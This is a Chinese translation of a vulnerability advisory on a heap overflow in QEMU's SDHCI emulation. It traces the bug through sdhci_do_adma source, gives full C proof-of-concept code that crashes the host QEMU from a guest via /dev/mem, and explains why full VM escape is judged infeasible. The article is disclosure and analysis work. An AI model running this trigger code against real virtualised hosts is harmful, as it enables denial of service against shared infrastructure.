深入分析QEMU的SDHCI组件中的堆溢出漏洞
2021-04-30 11:15:10 Author: www.4hou.com(查看原文) 阅读量:212 收藏

漏洞描述

QEMU 5.2.50版本存在堆溢出漏洞,一旦成功利用,可能导致敏感信息泄露,增加或修改数据,或拒绝服务(DoS)等安全威胁。

技术细节

SDHCI是Secure Digital Host Controller Interface的首字母缩写。其中,Secure Digital是一种专有的非易失性存储卡格式,由SD协会(SDA)为便携式设备而开发。QEMU中的SDHCI代码是基于SD协会技术委员会的SD主机控制器规范Ver2.0版本的SD控制器仿真实现的。

下图展示了SDHCI设备的寄存器,通过对某些寄存器进行写操作,我们就可以与该设备进行交互。

1.png

图1:SDHCI寄存器

这个漏洞代码位于QEMU代码中的SDHCI组件中。当blksize/block size(块缓冲区的大小)在数据传输过程中或完成传输后被篡改,就会触发该漏洞;实际上,我们可以通过向寄存器的偏移量0x4处写入数据来改变blksize。之后,在将数据存储到块缓冲区的当前偏移量处时,代码在计算时就会出错。块缓冲区的当前偏移量被存储在data_count变量中。当试图继续从块缓冲区传输数据时,数据的长度公式为blksize-data_count,这个长度是为了使块缓冲区被填满,但是由于在传输过程中blksize可能发生变化,如变为0,而data_count又没有被清零,所以计算出的blksize-data_count将导致溢出——因为这种计算会让传输的数据的长度极为膨胀(如0xfffffe01-0xffffffff),从而导致数据在堆与块缓冲区之间发生溢出。

该漏洞存在于sdhci_do_adma函数中,该函数用于处理虚拟机系统内存中sdhci与DMA缓冲区之间的数据传输。

/* Advanced DMA data transfer */
static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ADMADescr dscr = {};
   int i;
   ...
   for (i = 0; i < SDHC_ADMA_DESCS_PER_DELAY; ++i) {
       s->admaerr &= ~SDHC_ADMAERR_LENGTH_MISMATCH;
 
       get_adma_description(s, &dscr);
       ...
       length = dscr.length ? dscr.length : 64 * KiB;
 
       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
               while (length) {
                   ...
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   ...
               }
           } else {
               ...
           }
           ...
       ...
       }
       ...
       /* ADMA transfer terminates if blkcnt == 0 or by END attribute */
       if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) &&
                   (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END)) {
           ...
           sdhci_end_transfer(s);
           return;
       }
 
   }
   /* we have unfinished business - reschedule to continue ADMA */
   timer_mod(s->transfer_timer,
                  qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY);
}

这个函数将根据adma的描述信息向/从DMA传输数据。而adma的描述信息是由get_adma_description给出的,并被存储在变量desc中。

static void get_adma_description(SDHCIState *s, ADMADescr *dscr)
{
   uint32_t adma1 = 0;
   uint64_t adma2 = 0;
   hwaddr entry_addr = (hwaddr)s->admasysaddr;
   switch (SDHC_DMA_TYPE(s->hostctl1)) {
   case SDHC_CTRL_ADMA2_32:
       dma_memory_read(s->dma_as, entry_addr, &adma2, sizeof(adma2));
       adma2 = le64_to_cpu(adma2);
       /* The spec does not specify endianness of descriptor table.
        * We currently assume that it is LE.
        */
       dscr->addr = (hwaddr)extract64(adma2, 32, 32) & ~0x3ull;
       dscr->length = (uint16_t)extract64(adma2, 16, 16);
       dscr->attr = (uint8_t)extract64(adma2, 0, 7);
       dscr->incr = 8;
       break;
   case SDHC_CTRL_ADMA1_32:
       dma_memory_read(s->dma_as, entry_addr, &adma1, sizeof(adma1));
       adma1 = le32_to_cpu(adma1);
       dscr->addr = (hwaddr)(adma1 & 0xFFFFF000);
       dscr->attr = (uint8_t)extract32(adma1, 0, 7);
       dscr->incr = 4;
       if ((dscr->attr & SDHC_ADMA_ATTR_ACT_MASK) == SDHC_ADMA_ATTR_SET_LEN) {
           dscr->length = (uint16_t)extract32(adma1, 12, 16);
       } else {
           dscr->length = 4 * KiB;
       }
       break;
   case SDHC_CTRL_ADMA2_64:
       dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1);
       dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2);
       dscr->length = le16_to_cpu(dscr->length);
       dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8);
       dscr->addr = le64_to_cpu(dscr->addr);
       dscr->attr &= (uint8_t) ~0xC0;
       dscr->incr = 12;
       break;
   }
}

当然,还存在其他版本的ADMA,它们可以通过写hostctl寄存器来进行控制。就这里来说,对于SDHC_CTRL_ADMA2_64代码,我们也只能使用SDHC_CTRL_ADMA2_32和SDHC_CTRL_ADMA1_32,因为这个QEMU设备不允许将DMA类型设置为SDHC_CTRL_ADMA2_64。我们将在以后重新审视这个问题。目前来说,我们将使用ADMA2_32。

ADMA描述信息用于描述目标物理内存的地址、长度和属性,比如在缓冲区和系统内存之间进行读/写操作时。SDHCI将从物理内存中读取ADMA描述信息,其中地址是在admasysaddr中定义的,我们可以通过向ADMA系统地址寄存器的偏移量0x58处中写入地址值来对其进行控制。

1.png 

图2:ADMA描述符示意图

以后,ADMA描述符将被用作数据传输的信息。例如,下面的代码是用来将数据从系统内存传输到设备的。在模块中,还可以通过将某些位设置为SDHC_ADMA_ATTR_ACT_TRAN将数据从设备传输到系统内存,如果我们想要向系统内存传输数据或从系统内存传输数据,可以设置trnmod寄存器。

       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
               while (length) {
                   if (s->data_count == 0) {
                       sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size); // fill the buffer from sd
                   }
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin; // [1]
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [2]
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       s->data_count = 0; // [3]
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
           }
          else {
               ...
          }

上面的代码将通过DMA将数据从设备传输到系统内存。当length的值不为零时,这段代码将一直循环下去,并通过dma_memory_write逐块传输。它会将数据从&s->fifo_buffer[begin]传输到dscr.addr中描述的系统内存中,数据的长度为s->data_count-begin。当s->blkcnt为零或者length为零时,这个循环就会结束;但是,通过清除通过SDHC_TRNS_BLK_CNT_EN定义的一个位,我们可以就可以让上述代码对s->blkcnt置之不理。

在这个循环结束后,我们可以通过使最后一次循环执行代码[1]来使s->data_count,从让[3]处的代码不被执行。

下面这段代码将在数据传输循环完成后执行。

       /* ADMA transfer terminates if blkcnt == 0 or by END attribute */
       if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) &&
                   (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END))     
       {
           trace_sdhci_adma_transfer_completed();
           ...
           sdhci_end_transfer(s);
           return;
       }
 
   }
 
   /* we have unfinished business - reschedule to continue ADMA */
   timer_mod(s->transfer_timer,
                  qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY);

如果s->blkcnt为零或者ADMA描述符提供了END属性,则进行if检查,否则说明我们还有未完成的传输,这时需重新进行调度,以继续ADMA传输,并在将来再次执行sdhci_do_adma。

稍后,我们可以将块长度寄存器改为零,然后再次继续执行sdhci_do_adma。之后,将再次执行前面解释过的代码。这时,下面存在漏洞的代码将会触发堆溢出。

                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size; // [1]
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [2]
                   dscr.addr += s->data_count - begin;

现在,我们知道s->data_count来自于上一次未完成的传输,并且这个值不为零,它将被存储到变量begin中。然后,将执行else代码块,把block_size赋值给s->data_count。后来,dma_memory_write将被调用,其参数length的值为s->data_count-begin,因为s->data_count为零(来自block_size),而begin不为零,所以发生溢出,导致传输的数据长度极大。实际上,我们得到了一个基于堆溢出的读取原语,通过它,我们可以将fifo_buffer转移到系统内存中。

另一方面,我们可以通过控制这段代码的执行来实现基于堆溢出的写入原语,具体如下所示。

} else {
               while (length) {
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_read(s->dma_as, dscr.addr,
                                   &s->fifo_buffer[begin],
                                   s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       sdbus_write_data(&s->sdbus, s->fifo_buffer, block_size);
                       s->data_count = 0;
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
           }

这与前面的代码非常类似,不同之处在于,这里是通过DMA把数据从系统内存转移到fifo_buffer,换句话说,我们可以利用堆溢出漏洞把数据写到fifo_buffer中。

对于堆溢出漏洞来说,常见的利用思路就是通过覆盖堆中的某些数据(如指针、函数指针)来实现RCE,或覆盖其他的值,以便为进一步的漏洞利用铺路。

为了触发这个漏洞,我们需要直接执行sdhci_do_adma函数,但在这之前,我们需要先设置几个寄存器,如传输模式、块长度和主机控制寄存器。此外,我们还需要与设备进行通信。在这种情况下,我们可以通过写入设备的PCI地址进行通信,以将我们的值写入物理内存地址。

要知道地址在哪里,可以在虚拟机操作系统中使用lspci -v命令找到答案。在lspci -v的输出中,有一个关于SD主机控制器的描述符,其中含有一个内存地址0xfebf1000。所以,如果我们想在某个偏移量处对寄存器执行写操作,可以将0xfebf1000作为偏移量的起始地址,所以,到地址0xfebf1000+n处的偏移量为n。

1.png

为了与设备进行交互,我们需要对物理内存基址0xfebf1000进行读写操作。为了读写物理内存地址,我们可以使用Linux虚拟机中的系统调用mmap,通过/dev/mem来映射物理地址,具体代码如下所示。

#define SDHCI_ADDR 0xfebf1000
#define SDHCI_SIZE 256
unsigned char* sdhci_map = NULL;
int fd;
void* devmap( size_t offset, size_t size)
{
   void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset );
   if ( result == (void*)(-1) ) {
       perror( "mmap" );
   }
   return result;
}
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE);
   printf("success %p\n", sdhci_map);
   ...
}

首先,打开/dev/mem以获得存储在fd变量中的文件描述符,然后将fd变量用作mmap的第四个参数。另外,函数devmap用于通过/dev/mem来映射物理地址。为了映射一个位于0xfebf1000处的SDHCI地址,可以把地址作为第一个参数传过去,然后用256作为mmap的长度,因为SDHCI寄存器的长度是256。在这之后,我们只需通过存储在sdhci_map变量中的指针就能对内存进行读写,从而与设备进行通信了。

为了触发代码中的漏洞,我们需要设置几个寄存器。按照规范,我将电源控制寄存器设置为0x3b,将主机控制寄存器设置为0xd7以启用高级DMA。之后,我们还需要设置块长度寄存器和传输模式寄存器,这里我们将传输模式寄存器设置为0x21,以执行从设备内存到系统内存的读操作。按照规范,我们可以通过对一个命令寄存器执行写操作来触发数据传输,并最终调用漏洞所在的sdhci_do_adma函数。

static void
sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size)
{
   SDHCIState *s = (SDHCIState *)opaque;
   unsigned shift =  8 * (offset & 0x3);
   uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift);
   uint32_t value = val;
   value capareg & R_SDHC_CAPAB_SDMA_MASK)) {
           value &= ~SDHC_TRNS_DMA;
       }
       MASKED_WRITE(s->trnmod, mask, value & SDHC_TRNMOD_MASK);
       MASKED_WRITE(s->cmdreg, mask >> 16, value >> 16);
 
       /* Writing to the upper byte of CMDREG triggers SD command generation */
       if ((mask & 0xFF000000) || !sdhci_can_issue_command(s)) {
           break;
       }
 
       sdhci_send_command(s);
       break;
     …
}

实际上,每次执行写内存操作时,对SDHCI寄存器的处理都是由sdhci_write函数来负责的。如果我们对命令寄存器的高位字节执行写操作,根据上述代码将触发sdhci_send_command函数。

static void sdhci_send_command(SDHCIState *s)
{
   SDRequest request;
   uint8_t response[16];
   int rlen;
 
   s->errintsts = 0;
   s->acmd12errsts = 0;
   request.cmd = s->cmdreg >> 8;
   request.arg = s->argument;
   sdhci_update_irq(s);
   ...
   if (s->blksize && (s->cmdreg & SDHC_CMD_DATA_PRESENT)) {
       s->data_count = 0;
       sdhci_data_transfer(s);
   }
}

在上面的代码中,sdhci_send_command函数将调用sdhci_data_transfer函数来实现数据传输。

/* Perform data transfer according to controller configuration */
 
static void sdhci_data_transfer(void *opaque)
{
   SDHCIState *s = (SDHCIState *)opaque;
 
   if (s->trnmod & SDHC_TRNS_DMA) {
       switch (SDHC_DMA_TYPE(s->hostctl1)) {
       ...
       case SDHC_CTRL_ADMA2_32:
           if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK)) {
               trace_sdhci_error("ADMA2 not supported");
               break;
           }
           sdhci_do_adma(s);
           break;
        ...
   }
   ...
}

通过控制传输模式和主机控制寄存器,我们可以将执行流引导至sdhci_do_adma函数。

函数sdhci_do_adma在设备和系统内存之间的传输数据时,我们未完成的数据传输将安排在该任务之后完成,所以,设备将调用sdhci_data_transfer(它将再次调用sdhci_do_adma)以在未来继续处理我们的传输任务。在继续传输之前,我们将块长度寄存器设置为0,以便在sdhci_do_adma函数中触发下一次传输的错误。

在SDHCI寄存器中的每个读写操作都将由sdhci_write和sdhci_read操作来处理。这些函数将检查是否还有未完成的传输,如果有的话,它将通过调用sdhci_resume_pending_transfer继续处理这些传输任务。

static void
sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size)
{
   SDHCIState *s = (SDHCIState *)opaque;
   unsigned shift =  8 * (offset & 0x3);
   uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift);
   uint32_t value = val;
   value transfer_timer);
   sdhci_data_transfer(s);
}

在此之前,我们需要存储ADMA描述信息,并通过SDHCI寄存器将ADMA描述信息的地址存储到ADMA系统地址寄存器中。为了简单起见,我把ADMA描述符写入物理地址0,然后通过SDCHI寄存器把0值写入ADMA系统地址寄存器。

void writeb(unsigned char* mem, int idx, unsigned char val) {
   mem[idx] = val;
}
 
void writew(unsigned char* mem, int idx, unsigned short val) {
   *((unsigned short*)&mem[idx]) = val;
}
 
void writel(unsigned char* mem, int idx, unsigned int val) {
   *((unsigned int*)&mem[idx]) = val;
}
 
void writeq(unsigned char* mem, int idx, unsigned long val) {
   *((unsigned long*)&mem[idx]) = val;
}
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   unsigned char* page = devmap(MEM_ADDR, MEM_SIZE);
   printf("success %p\n", page);
   memset(page, 0, 1024);
   writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN
   writeb(page, 0x02, 0x10);
   writel(page, 0x04, MEM_ADDR);
   writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK
   writel(page, 0xc, MEM_ADDR);
   ...
   writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address
   ...
}

在这里,我们创建了两个ADMA描述符。每个描述符的大小为0x8字节,描述用于数据传输或指向另一个ADMA描述符的物理内存的属性、长度和缓冲区地址。

对于第一次传输,它将使用地址为0的ADAM描述符。为此,我设置了一个带有SDHC_ADMA_ATTR_ACT_TRAN的ADMA描述符,用于数据传输。在第一次传输后,ADMA系统地址寄存器将被加8,以指向下一个ADMA描述符。为此,我设置了一个ADMA描述符,以SDHC_ADMA_ATTR_ACT_LINK作为属性,其地址为0。有了这个属性,ADMA系统地址将再次存储到地址0处。在本例中,我们的操作非常简单,因此不需要创建一堆ADMA描述符,而是每次循环创建一个ADMA描述符。

所以,sdhci_do_adma函数将被调用三次。第一次调用时,只需要填充data_count变量。第二次,函数sdhci_do_adma是被sdhci_resume_pending_transfer函数调用。第三次,sdhci_do_adma函数还是被sdhci_resume_pending_transfer调用的,其中ADMA描述符被存储到地址0x00处。存储在地址0x00处的ADMA描述符中的地址将用于数据传输,因为data_count被上一次的传输填满了,所以块长度为0,这样就会触发安全漏洞。

/* Advanced DMA data transfer */
 
static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ADMADescr dscr = {};
   int i;
   ...
      switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
 
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size; // [1]
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [1]
                   dscr.addr += s->data_count - begin;
 
/* Advanced DMA data transfer */
 
static void sdhci_do_adma(SDHCIState *s)
{
       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           ...
           s->admasysaddr += dscr.incr;
           break;
       case SDHC_ADMA_ATTR_ACT_LINK:   /* link to next descriptor table */
           s->admasysaddr = dscr.addr;
           trace_sdhci_adma("link", s->admasysaddr);
           break;
         ...
         }
      ...
}

下面是触发这个漏洞的最终代码,如果我们在虚拟机的Linux系统上运行,将导致QEMU分段故障并崩溃。在运行这段代码之前,我们需要通过在SDHCI中启用主控位来激活DMA传输,为此,可以使用如下上述的命令:sudo setpci -s 00:04.0 4.B=7,其中00:04.0是PCI设备号,4.B=7是用来激活总线主控位。

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
 
#define SDHCI_ADDR 0xfebf1000
#define SDHCI_SIZE 256
#define MEM_ADDR 0x00000000
#define MEM_SIZE (4096)
 
unsigned char* sdhci_map = NULL;
int fd;
 
void* devmap( size_t offset, size_t size)
{
   void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset );
   if ( result == (void*)(-1) ) {
       perror( "mmap" );
   }
   return result;
}
 
void writeb(unsigned char* mem, int idx, unsigned char val) {
   mem[idx] = val;
}
 
void writew(unsigned char* mem, int idx, unsigned short val) {
   *((unsigned short*)&mem[idx]) = val;
}
 
void writel(unsigned char* mem, int idx, unsigned int val) {
   *((unsigned int*)&mem[idx]) = val;
}
 
void writeq(unsigned char* mem, int idx, unsigned long val) {
   *((unsigned long*)&mem[idx]) = val;
}
 
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   unsigned char* page = devmap(MEM_ADDR, MEM_SIZE);
   printf("success %p\n", page);
   memset(page, 0, 1024);
   writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN
   writeb(page, 0x02, 0x10);
   writel(page, 0x04, MEM_ADDR);
   writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK
   writel(page, 0xc, MEM_ADDR);
   getchar();
   sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE);
   printf("success %p\n", sdhci_map);
   writew(sdhci_map, 0x28, 0x3bd7); // power and host control
   writeb(sdhci_map, 0x05, 0x2c); // block size
   writeb(sdhci_map, 0x0c, 0x21); // transfer mode = SDHC_TRNS_READ
  writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address
 
   writew(sdhci_map, 0x0e, 0x846e); // command
   writew(sdhci_map, 0x04, 0x0000); // block size
   writew(sdhci_map, 0x08, 0x0); // argument 0, write anything just need to resume the transfer.
   getchar();
   close( fd );
}
// sudo setpci -s 00:04.0 4.B=7 && gcc -o new new.c && sudo ./new

图3:触发漏洞的PoC代码

1.png

图4:崩溃的QEMU

1.png

图5:当崩溃发生时QEMU的堆栈跟踪信息

如果查看堆栈跟踪信息,将会看到来自sdhci_do_adma的崩溃,并在dma_memory_read中向len传递给了一个非常大的数字(0xffffff80)。

虽然我们希望利用此漏洞,但事实证明这个漏洞不太可能被利用,因为我们无法完全控制溢出长度。

如果我们可以控制溢出长度,则可以轻松实现越界读写。就本例来说,我们无法完全控制溢出的长度。不过,我们可以将传递给dma_memory_read/write的长度控制在0xfffffe01-0xffffffff范围内,这就意味着,我们几乎可以覆盖并读取接近4GB的内存。

static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ...
          length = dscr.length ? dscr.length : 64 * KiB;
          ...
               while (length) {
                   if (s->data_count == 0) {
                       sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size);
                   }
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       s->data_count = 0;
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
    ...
}

在这里,表示长度的数据的位宽是16比特,因为它来自DSCR.length,它的位宽为16比特,被存储在无符号整型变量中。实际上,该设备的块长度寄存器经过了充分的检查(此处未显示相关代码),因此block_size变量永远不会大于0x200,同时,它还会影响data_count变量,致使后者的值永远不会大于0x200。因此,这段代码缺乏另一个整数溢出来控制将传递给DMA_MEMORY_READ/WRITE的长度,所以,我们的面前唯一的一个障碍是,即待传递数据的长度(DMA_MEMORY_WRITE/READ的第三个参数,而不是length变量)介于0xFFFFFE01-0xFFFFFFFFF范围内。

面对这个障碍,我们需要在进行数据传输的同时对堆进行喷射,以使堆增长到足够大,这样传输就不会因为访问未映射的内存而发生segfault故障。然后,我们需要在系统内存中创建一个4GB的缓冲区,来存储我们的payload,这个缓冲区将被用来从Qemu堆中读取4GB的数据,以触发信息泄露,达到目的后,我们就可以执行写操作,将4GB的数据再写入堆中。系统内存中的4GB缓冲区必须是物理上连续的,因为我们是通过DMA读写操作与设备进行物理对话的。实际上,这个要求几乎是无法实现的,因为随机访问内存的行为使得我们很难向内核请求4GB物理上连续的内存,即使我们专门编写内核驱动程序来完成这项任务,也是如此。在Linux系统中,有一种方法可以通过设置内核启动参数保留内存位置,这样的话,我们就能得到4GB物理上连续的内存。众所周知,内核启动参数就是由系统解释的文本字符串,它可以改变特定的行为,启用或禁用某些功能,但是,内核启动参数只有在我们重新启动机器时才会产生影响,即使在这种情况下,获得4GB物理上连续的内存也是不太现实的,因为攻击者需要在重新启动机器时实现虚拟机逃逸。

假设,我们可以在内核中分配物理上连续的内存,因为我们的RAM足够大——这仍然是不可行的,因为我们只有32位的ADMA,这意味着,我们不能使用4GB之外的地址存储缓冲区,因为Qemu代码中的SDHCI设备并不支持它。同时,我们也不能在4GB以下的地址中存储缓冲区,因为有大量的预留内存被内核、bios或内存映射的I/O所占用,否则的话,会导致虚拟机操作系统不稳定甚至崩溃。您可以在下图中看到Linux操作系统的相关信息。实际上,我们认为其他操作系统的情况也与此类似。

1.png 

图6:通过dmesg命令显示4GB地址以下的保留内存

下面这段代码支持64位ADMA。实际上,我们可以通过设置主机控制寄存器来使用64位ADMA:

static void get_adma_description(SDHCIState *s, ADMADescr *dscr)
{
   uint32_t adma1 = 0;
   uint64_t adma2 = 0;
   hwaddr entry_addr = (hwaddr)s->admasysaddr;
   switch (SDHC_DMA_TYPE(s->hostctl1)) {
   ...
   case SDHC_CTRL_ADMA2_64:
       dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1);
       dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2);
       dscr->length = le16_to_cpu(dscr->length);
       dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8);
       dscr->addr = le64_to_cpu(dscr->addr);
       dscr->attr &= (uint8_t) ~0xC0;
       dscr->incr = 12;
       break;
   }
}

当我们使用64位ADMA时,还需要进行一项检查:检查SDHCI_DATA_TRANFRT函数中的功能寄存器,如果验证通过,它将调用sdhci_do_adma函数。

/* Perform data transfer according to controller configuration */
static void sdhci_data_transfer(void *opaque)
{
   SDHCIState *s = (SDHCIState *)opaque;
 
   if (s->trnmod & SDHC_TRNS_DMA) {
       switch (SDHC_DMA_TYPE(s->hostctl1)) {
       ...
       case SDHC_CTRL_ADMA2_64:
           if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK) ||
                   !(s->capareg & R_SDHC_CAPAB_BUS64BIT_MASK)) {
               trace_sdhci_error("64 bit ADMA not supported");
               break;
           }
 
           sdhci_do_adma(s);
           Break;
    ...
}

功能寄存器是一个只读寄存器,用于存储有关主机控制器的信息。我们可以通过定义在SDHCI_INTERNAL.h文件中的某个常量将功能寄存器值设置为默认值。

/*
* Default SD/MMC host controller features information, which will be
* presented in CAPABILITIES register of generic SD host controller at reset.
*
* support:
* - 3.3v and 1.8v voltages
* - SDMA/ADMA1/ADMA2
* - high-speed
* max host controller R/W buffers size: 512B
* max clock frequency for SDclock: 52 MHz
* timeout clock frequency: 52 MHz
*
* does not support:
* - 3.0v voltage
* - 64-bit system bus
* - suspend/resume
*/

从功能寄存器中R_SDHC_CAPAB_BUS64BIT_MASK的位值来看,这个设备并不支持64位ADMA寄存器,这就意味着我们无法在4GB地址以上的物理内存中创建缓冲区。所以,在这种限制下,我们无法利用这个漏洞进行完整的利用,如实现虚拟机逃逸。相反,对于这个漏洞,只能用于发动DOS攻击,使QEMU崩溃并退出。

时间线

2020-12-28,将该漏洞报告给供应商。

2021-03-09,供应商分配CVE编号。

本文翻译自:https://starlabs.sg/advisories/21-3409/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/y7D6
如有侵权请联系:admin#unsafe.sh